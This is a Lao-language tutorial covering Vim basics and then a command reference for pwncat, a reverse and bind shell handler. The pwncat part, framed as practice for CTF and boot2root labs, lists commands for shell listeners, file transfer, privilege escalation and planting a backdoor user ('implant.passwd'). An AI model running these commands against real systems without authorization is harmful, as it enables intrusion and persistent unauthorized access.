![1 wNI37Ny1cyZ3JoCMklOatQ](https://hackmd.io/_uploads/B1VmBki4R.jpg)


ຖ້າຂຶ້ນຕາມຮູບຕົວຢ່າງດ້ານເທິງແປວ່າໃນເຄື່ອງມີ Vim ຢູ່ແລ້ວ, ແຕ່ຖ້າບໍ່ມີເຮົາກໍສາມາດຕິດຕັ້ງໄດ້ງ່າຍໆໂດຍການເປີດ Terminal ແລ້ວໃຊ້ຄຳສັ່ງ:

`sudo apt-get -y install vim`
![1 alTu1eVz2Unt2qIW3fkuDw](https://hackmd.io/_uploads/r1M4HJiVR.jpg)


    ສຳຫຼັບ Windows ແລະ MacOS ສາມາດອ່ານລາຍລະອຽດວິທີຕິດຕັ້ງເພີ່ມເຕີມໄດ້ຈາກ https://www.vim.org/download.php

ເມື່ອຕິດຕັ້ງສຳເລັດສາມາດໃຊ້ຄຳສັ່ງ vim ເພື່ອເປີດໃຊ້ງານໄດ້ເລີຍ:

`vim`
![1 wTjdqI-qElxxiRfKeaKCkA](https://hackmd.io/_uploads/r154HysV0.jpg)


### ວິທີໃຊ້ງານ (How)

ໃນການເປີດໃຊ້ Vim ເຮົາສາມາດເປີດໃຊ້ໄດ້ 2 ແບບຄື: ເປີດສະເພາະໄຟລ໌ນັ້ນໄຟລ໌ດຽວ ແລະ ເປີດແບບເປັນ path
1. ການເປີດສະເພາະໄຟລ໌

`vim filename`

ຄຳສັ່ງນີ້ເປັນການເປີດໄຟລ໌ທີ່ມີຢູ່ແລ້ວຂຶ້ນມາເພື່ອອ່ານ ແລະ ແກ້ໄຂເນື້ອຫາ ແຕ່ຖ້າບໍ່ມີໄຟລ໌ກໍຈະເປັນການສ້າງໄຟລ໌ໃໝ່ຂຶ້ນມາ

    ຕົວຢ່າງເປີດໄຟລ໌​ package.json:

`vim package.json`

![1 qwwRrVpiDw_SqwMxkBwUiA](https://hackmd.io/_uploads/HkbuSJjVR.jpg)


2. ການເປີດແບບເປັນ path/directory

    ເປີດໃນ path/directory ທີ່ຢູ່ປັດຈຸບັນ

`vim .`
![1 61679cKX-GTkM0yqE0fLHQ](https://hackmd.io/_uploads/HJ0YHys4R.jpg)


    ເປີດໃນ path/directory ທີ່ຕ້ອງການ

`vim /path/dir_name`

    ຕົວຢ່າງ:

`vim /home/jockky/Desktop/github-test`
![1 GrToCCqExNll5m9gc42Igw](https://hackmd.io/_uploads/B10irJsE0.jpg)


    ສຳຫຼັບການເປີດແບບ path ເຮົາສາມາດໃຊ້ key arrow ໃນ keyboard ໃນການເລື່ອນຂຶ້ນ-ລົງເພື່ອໄປຍັງ directory ຫຼື file ທີ່ເຮົາຕ້ອງການເປີດ ແລະ ສາມາດເລື່ອນໄປຍັງ ../ ແລ້ວ Enter ເພື່ອຍ້ອນກັບໄປ directory ກ່ອນໜ້າໄດ້.

### Mode ໃນ VIM
https://en.wikipedia.org/wiki/File:Vim_modes.svg
![1 ynXs4w4HrWmO73Usx9Xytw](https://hackmd.io/_uploads/SyGCB1j4C.png)


Mode ໃນ Vim ຫຼື ວິທີທີ່ໃຊ້ຕິດຕໍ່ກັບຜູ້ໃຊ້ໃນ Vim ຈະຖືກແບ່ງອອກເປັນ 4 Modes ຫຼັກໆເຊິ່ງແຕ່ລະ Mode ກໍຈະໃຫ້ຜົນລັບທີ່ແຕກຕ່າງກັນເຊັ່ນ:
1. Normal Mode

Normal Mode ເປັນ Mode ທີ່ເປີດຂຶ້ນມາໂດຍ Default ເຊິ່ງເຮົາສາມາດເລື່ອນ ຫຼື ເຄື່ອນຍ້າຍ Cursor ເພື່ອຊອກຫາ-ອ່ານຂໍ້ຄວາມໄດ້ເທົ່ານັ້ນ
2. Command-Line Mode
 ![1 zvKp_u2kQeymOqeaM6oV3A](https://hackmd.io/_uploads/HJOk8ksVR.jpg)


Command-Line Mode ສາມາດກົດ Esc ໃນ Keyboard ຫຼັງເປີດໃຊ້ງານ Vim ເພື່ອເຂົ້າສູ່ Mode ນີ້, ເປັນ Mode ທີ່ຈະຮັບຄຳສັ່ງຫຼັງ prefix(:, /, ?, !) ມາເຮັດວຽກເພື່ອສັ່ງການໃຫ້ ບັນທຶກ, ປິດໄຟລ໌, ປ່ຽນ Mode… ເຊັ່ນ:

    ອະທິບາຍຄຳສັ່ງ:

:q  = ໃຊ້ເພື່ອປິດໄຟລ໌
:qa  = ໃຊ້ເພື່ອອກຈາກໄຟລ໌ທັງໝົດ
:w  = ໃຊ້ເພື່ອບັນທຶກໄຟລ໌
:wq ຫຼື :x  = ໃຊ້ເພື່ອບັນທຶກ ແລະ ປິດໄຟລ໌ພ້ອມກັນ
:q! ຫຼື ZQ  = ໃຊ້ເພື່ອອອກຈາກໄຟລ໌ໂດຍບໍ່ບັນທຶກ

    ຕົວຢ່າງການໃຊ້ຄຳສັ່ງ :wq ເພື່ອບັນທຶກ ແລະ ປິດໄຟລ໌ພ້ອມກັນ:
    
![1 MHVyaR54Z5brSujapgrTqw](https://hackmd.io/_uploads/BkGZUkoNA.png)


ສັງເກດວ່າໃນມຸມຊ້າຍລຸ່ມຂອງໜ້າ vim ຈະເປັນບ່ອນທີ່ສະແດງຄຳສັ່ງທີ່ເຮົາໃຊ້
3. Insert Mode

Insert Mode ໃຊ້ສຳຫຼັບພິມ ແລະ ແກ້ໄຂເນື້ອຫາຂອງໄຟລ໌ຄືກັບ Text Editor ໂຕອື່ນໆ, ເຮົາສາມາດເຂົ້າສູ່ Mode ນີ້ໄດ້ໂດຍການກົດ i/a/o... ແລະ ສາມາດກົດ Esc ໃນ Keyboard ເພື່ອອອກຈາກ Insert Mode.

ຄຳສັ່ງຫຼັກໆທີ່ໃຊ້ໃນ Insert Mode:

![1 BCO6CfZKS0PetMBRhk8MIQ](https://hackmd.io/_uploads/rkvmLJiVA.jpg)


    ອະທິບາຍຄຳສັ່ງທີ່ໃຊ້ໃນ Insert Mode:
    Note: ຕ້ອງກົດ Esc ທຸກຄັ້ງເພື່ອໃຊ້ຄຳສັ່ງ

yy = copy ຂໍ້ຄວາມທັງໝົດໃນແຖວປັດຈຸບັນ
p = ວາງ (paste) ຂໍ້ຄວາມທີ່ copy ມາ
d = ລົບຂໍ້ຄວາມ 1 ໂຕ
dd = ລົບຂໍ້ຄວາມທັງໝົດໃນແຖວປັດຈຸບັນ

a  = Cursor ຈະຫຍັບຈາກຈຸດທີ່ເຮົາຢູ່ໄປ 1 ໂຕອັກສອນ ແລະ ເຂົ້າສູ່ Insert Mode
A  = ຫຍັບ Cursor ໄປທ້າຍແຖວ ແລະ ເຂົ້າສູ່ Insert Mode
i  = ເຂົ້າສູ່ Insert Mode ໃນຈຸດ Cursor ປັດຈຸບັນ ແລະ ເຂົ້າສູ່ Insert Mode
o  = ຫຍັບ Cursor ໄປແຖວໃໝ່ 1 ແຖວ ແລະ ເຂົ້າສູ່ Insert Mode
O  = ຫຍັບ Cursor ກັບໄປແຖວກ່ອນໜ້າ 1 ແຖວ ແລະ ເຂົ້າສູ່ Insert Mode
s  = ລົບ 1 ໂຕອັກສອນໃນຈຸດ Cursor ປັດຈຸບັນ ແລະ ເຂົ້າສູ່ Insert Mode 
S  = ລົບໂຕອັກສອນ 1 ແຖວໃນຈຸດທີ່ Cursor ຢູ່ປັດຈຸບັນ ແລະ ເຂົ້າສູ່ Insert Mode
C  = ລົບທຸກໂຕອັກສອນໃນແຖວທີ່ Cursor ຢູ່ປັດຈຸບັນໄປຈົນສຸດແຖວ ແລະ ເຂົ້າສູ່ Insert Mode
r  = ແທນທີ່ໂຕອັກສອນທີ່ຈະພິມ 1 ໂຕອັກສອນໃນຈຸດທີ່ Cursor ຢູ່ປັດຈຸບັນ ແລະ ເຂົ້າສູ່ Insert Mode
R  = ເປັນການເຂົ້າສູ່ Mode ຍ່ອຍທີ່ຈະແທນທີ່ທຸກໂຕອັກສອນທີ່ພິມ

u  = ຍົກເລີກ ຫຼື ຍ້ອນກັບການກະທຳກັບຫຼັງ (Undo) ຫຼື ກໍຄື Ctrl+Z ທີ່ເຮົາຄຸ້ນເຄີຍນັ້ນເອງ
Ctrl+R  = ຍ້ອນກັບການກະທຳໄປໜ້າ (Redo) ກໍຄື Ctrl+Y ທີ່ເຮົາຄຸ້ນເຄີຍນັ້ນເອງ

4. Visual Mode

Visual Mode ເຮົາສາມາດເຂົ້າສູ່ Mode ນີ້ໄດ້ໂດຍການກົດ v ໃນ keyboard, ໃຊ້ສຳຫຼັບ Highlight Text ເວລາເລື່ອນ Cursor ແລະ ໃຊ້ເພື່ອຈັດການກັບຂໍ້ຄວາມທີ່ຖືກ Highlight ໄດ້ໃນຮູບແບບຕ່າງໆໂດຍໃຊ້ຄຳສັ່ງທີ່ມີໃນ Mode ນີ້ເຊັ່ນ:

![1 Dl6EAPAqWyu1VO9LQN1tqA](https://hackmd.io/_uploads/Syi48ys4C.jpg)


    ອະທິບາຍຄຳສັ່ງທີ່ໃຊ້ໃນ Visual Mode:

v  = ໃຊ້ເພື່ອເລີ່ມ Highlight ໂຕອັກສອນຈາກຈຸດ Cursor ທີ່ຢູ່ປັດຈຸບັນໄປໜ້າ ຫຼື ຖອຍຫຼັງຈົນກວ່າຈະອອກຈາກ Mode
V  = ໃຊ້ເພື່ອເລີ່ມ Highlight ໂຕອັກສອນໝົດແຖວຈາກຈຸດ Cursor ທີ່ຢູ່ປັດຈຸບັນໄປແຖວໜ້າ ຫຼື ແຖວຫຼັງ
Ctrl+V  = ໃຊ້ເພື່ອ Highlight ໂຕອັກສອນໃນຮູບແບບກ່ອງ(Box) ຈາກຈຸດ Cursor ປັດຈຸບັນ

    ຄຳສັ່ງຍ່ອຍທີ່ສາມາດໃຊ້ຂະນະທີ່ຢູ່ໃນ Visual Mode:

d / x  = ລົບໂຕອັກສອນທັງໝົດທີ່ highlight ຢູ່
s  = ແທນທີ່ໂຕອັກສອນທີ່ highlight ຢູ່ດ້ວຍໂຕອັກສອນທີ່ຈະພິມຕໍ່ໄປ

    ຕົວຢ່າງການໃຊ້ຄຳສັ່ງ Ctrl+V ເພື່ອ highlight ແບບກ່ອງ (Box)

![1 OCCFLBjDXgtKUo7QMF25YQ](https://hackmd.io/_uploads/B1-U5Tq4R.jpg)

## Pwncat
pwncat ແມ່ນເຄື່ອງມືທີ່ໃຊ້ເພື່ອຈັດການ reverse shell & bind shell ມີຄຸນນະສົມບັດຄ້າຍໆ netcat ແຕ່ມີເຄື່ອງມືອຳນວຍຄວາມສະດວກຫຼາຍຢ່າງທີ່ຖືກຕິດຕັ້ງມານຳບໍ່ວ່າຈະເປັນການ Auto-Enumeration, Backdoor planting, Sessions management, Files transfer, Automate privilege escalation, Enumeration & Execution ແລະ ອື່ນໆ... ເຊິ່ງມີປະໂຫຍດ ແລະ ຊ່ວຍປະຫຍັດເວລາຫຼາຍໃນການໃຊ້ຫຼິ້ນ Boot2Root, TryHackMe: King of the Hill (KoTH), HackTheBox: Hacking Battlegrounds…
GitHub - calebstewart/pwncat: Fancy reverse and bind shell handler
pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse…

https://github.com/calebstewart/pwncat

### Installation:

ກ່ອນອື່ນໝົດຕ້ອງມີ python version 3+ ແລະ pip ໃນເຄື່ອງຄອມກ່ອນສາມາດ download ໄດ້ຈາກ https://www.python.org/downloads/
ຕິດຕັ້ງ pip:

- Linux(Unix):

`python get-pip.py`

- Windows:

`py get-pip.py`

- ອັບເດດ pip:

- Linux(Unix):

`python3 -m pip install --user --upgrade pip`

- Windows:

`py -m pip install --upgrade pip`

ຕິດຕັ້ງ pwncat:

ຕ້ອງຕິດຕັ້ງ venv(virtual environments) ກ່ອນໂດຍໃຊ້ຄຳສັ່ງ:

Linux(Unix):

`python3 -m pip install - user virtualenv`

Windows:

`py -m pip install --user virtualenv`

ເຮົາສາມາດຕິດຕັ້ງແບບທຳມະດາ ຜ່ານຄຳສັ່ງ pip/pip3:

`pip install pwncat-cs`

ແຕ່ທາງຜູ້ພັດທະນາແນະນຳໃຫ້ຕິດຕັ້ງຜ່ານ Virtual Environment ເພື່ອຈະໄດ້ຈັດການງ່າຍໂດຍໃຊ້ຄຳສັ່ງ:

- Linux(Unix):

`python3 -m venv pwncat-env`
`source pwncat-env/bin/activate`
`pip install pwncat-cs`

- Windows:

`py -m venv pwncat-env`
`.\pwncat-env\Scripts\activate`
`pip install pwncat-cs `

ສາມາດຍົກເລີກ ຫຼື ອອກຈາກ Virtual Environment ໂດຍໃຊ້ຄຳສັ່ງ:

`deactivate`

ໃນ pwncat ເຮົາສາມາດໃຊ້ງານຄຳສັ່ງໄດ້ 2 ແບບຄື: ໃຊ້ພາຍນອກ ແລະ ພາຍໃນ pwncat mode ເຊິ່ງຜົນລັບຂອງຄຳສັ່ງຈະໄດ້ຄືກັນ ສາມາດໃຊ້ໄດ້ທັງສອງແບບ, ໂດຍທຸກເທື່ອທີ່ເຮົາໃຊ້ງານຄຳສັ່ງແບບພາຍນອກແລ້ວເຮົາຈະຖືກປ່ຽນໄປ pwncat mode ຫຼື ກະຄືປ່ຽນໄປໃຊ້ງານແບບພາຍໃນອັດຕະໂນມັດ.

    ຕົວຢ່າງ:
    ແບບພາຍນອກ: pwncat-cs -lp 4444
    ແບບພາຍໃນ: connect 0.0.0.0 4444
    ຜົນລັບທີ່ໄດ້ຈະຄືກັນຄືເປັນການເປີດ port 4444 ເພື່ອຖ້າຮັບຂໍ້ມູນ

ຕົວຢ່າງການໃຊ້ງານທັງສອງແບບຜົນລັບທີ່ໄດ້ຈະຄືກັນ
Pwncat’s Commands (ພາຍນອກ):
- pwncat-cs -lp [PORT]
ເປີດ port ສຳຫຼັບຮັບຂໍ້ມູນການເຊື່ອມຕໍ່
![1](https://hackmd.io/_uploads/BkNZtyiVC.png)

- pwncat-cs -c [HOST]-p [PORT]
ເຊື່ອມຕໍ່ remote host and port
- pwncat-cs -u
ໃຊ້ UDP protocol ແທນ TCP
- pwncat-cs -i SECONDS
ຕັ້ງຄ່າໝົດເວລາໃຫ້ການເຊື່ອມຕໍ່
- pwncat-cs -v
ເປີດສະແດງລາຍລະອຽດຂອງ output
- pwncat-cs -h
ສະແດງຂໍ້ມູນລາຍລະອຽດຂອງເຄື່ອງມື pwncat
![2](https://hackmd.io/_uploads/BkfGtys40.png)

- pwncat-cs [username]@[ip]
ເຊື່ອມຕໍ່ SSH server
- pwncat-cs -m windows [IP] [Port]
ເຊື່ອມຕໍ່ໄປ Windows bind shell
> Pwncat’s Commands (ພາຍໃນ):
- alias
ໃຊ້ຕັ້ງຄ່ານາມແຟງໃຫ້ຄຳສັ່ງ (Ex: alias down “download” ຈະເປັນການຕັ້ງໃຫ້ໃຊ້ຄຳສັ່ງ down ແທນ download ໄດ້)
- back
ສະຫຼັບ local host ໄປ remote host
- bind
- bind shell
- connect
reverse shell
![3](https://hackmd.io/_uploads/B1XQtyjN0.png)

- download
download file ຈາກເຄື່ອງ remote host ມາ local host
- escalate
ຍົກລະດັບສິດ (Privilege Escalation) ໂດຍໃຊ້:
    escalate list
    escalate list -u [user]
    escalate run
- exit
ອອກຈາກ interactive sessions
- help
print ຄຳສັ່ງພ້ອມ description ທີ່ສາມາດໃຊ້ໄດ້
- info
ໃຊ້ເພື່ອເບິ່ງຂໍ້ມູນແບບສະເພາະ modules ນັ້ນໆ
- lcd
change directory on pwncat mode
- leave
ອອກຈາກ sessions ປັດຈຸບັນ
- listen
ໃຊ້ເປີດ port ເພື່ອຖ້າຮັບຂໍ້ມູນ ຫຼື shell ທີ່ຖືກສົ່ງມາ, ສາມາດເປີດຫຼາຍ port ໄວ້ພ້ອມກັນໄດ້
    Ex: listen -m linux 4444 (ເປີດ port 4444 ເພື່ອຖ້າຮັບຂໍ້ມູນເຈາະຈົງ platform linux)
- listeners
ໃຊ້ເພື່ອຈັດການ ແລະ ເບິ່ງລາຍລະອຽດຂອງ port ທີ່ເປີດໄວ້ຈາກຄຳສັ່ງ listen
ຕົວຢ່າງການໃຊ້ຄຳສັ່ງ listen ແລະ listeners
![4](https://hackmd.io/_uploads/H1X8YkoN0.png)

- load
ໂຫລດ modules pwncat ແພັກເກັດ python.
- local
ໂດຍປົກກະຕິແລ້ວໃນ pwncat mode ເຮົາຈະບໍ່ສາມາດໃຊ້ຄຳສັ່ງພາຍນອກແບບທຳມະດາໄດ້ ແຕ່ເຮົາສາມາດໃຊ້ງານຄຳສັ່ງ linux ພາຍນອກໃນ pwncat ໄດ້ໂດຍໃຊ້ຄຳສັ່ງ local ຂຶ້ນຕົ້ນ
    >ຕົວຢ່າງ: local ls (ໃຊ້ຄຳສັ່ງ ls)
![5](https://hackmd.io/_uploads/SkrwFkjN0.png)


    - lpwd
ໃຊ້ຄຳສັ່ງ pwd ໃນ pwncat mode
    - run
    - enumerate
    - run implant.passwd backdoor_user=meow backdoor_pass=meow
    ສ້າງ backdoor user ໄວ້ໃນເຄື່ອງເປົ້າໝາຍ(ຕ້ອງມີສິດ root ກ່ອນ)

- search
ໃຊ້ເພື່ອຄົ້ນ modules ໃນ pwncat
- sessions
ໃຊ້ເບິ່ງ ແລະ ຈັດການ shell ທີ່ໄດ້ຈາກການ reverse shell
    set
    shortcut
- upload
    upload file ຈາກເຄື່ອງ local host ໄປຍັງ remote host
- use
    The use command can be used to enter the context of a module. When within a module context, the run, set and info commands operate off of the module currently in the context.

Shortcut:

- Ctrl + D
ໃຊ້ສະຫຼັບໄປມາລະຫວ່າງ local ແລະ remote

- run enumerate

ໃຊ້ເພື່ອສະແກນຫາຟາຍທີ່ໜ້າສົນໃຈ, ກວດສອບເວີຊັ່ນຂອງຟາຍທີ່ອາດມີຊ່ອງໂຫວ່ ຫຼື ມີສິດແປກໆໃນເຄື່ອງເປົ້າໝາຍ




# ວິທີຜ່ານໂຈດ CTF
- https://medium.com/cyberustech/picoctf-2024-writeup-lao-06331c9ce32f
- https://medium.com/cyberustech/ascis-2023-web-challenge-writeup-lao-bca90fdc7b41
- https://medium.com/laohacker/htb-active-directory-enum-attacks-lab-ii-writeup-lao-8d52ec960a0f
- https://medium.com/cyberustech/tryhackme-minotaurs-labyrinth-ctf-boot2root-writeup-lao-ea5501a84e80
- https://medium.com/laohacker/vulnhub-mrrobot-machine-lab-boot2root-writeup-lao-2603aada7509
- https://medium.com/cyberustech/tryhackme-archangel-ctf-boot2root-writeup-lao-e2dbf560f2d1
- https://medium.com/laohacker/boot2root-%E0%BA%9D%E0%BA%B6%E0%BA%81%E0%BA%97%E0%BA%B1%E0%BA%81%E0%BA%AA%E0%BA%B0%E0%BA%81%E0%BA%B2%E0%BA%99-%E0%BB%80%E0%BA%88%E0%BA%B2%E0%BA%B0%E0%BA%A5%E0%BA%B0%E0%BA%9A%E0%BA%BB%E0%BA%9A%E0%BA%9C%E0%BB%88%E0%BA%B2%E0%BA%99%E0%BA%81%E0%BA%B2%E0%BA%99%E0%BB%81%E0%BA%AE%E0%BA%B1%E0%BA%81-server-%E0%BB%81%E0%BA%9A%E0%BA%9A-real-world-hacking-67aa8dfee513
- https://medium.com/laohacker/lao-young-hacker-competition-ctf-writeup-67aa912e5a9
- https://medium.com/laohacker/tryhackme-pickle-rick-writeup-17a8b2154902

# CVE

https://medium.com/@jockky.dev/cve-2024-32002-exploiting-git-rce-via-git-clone-1cb0ee2aa2c5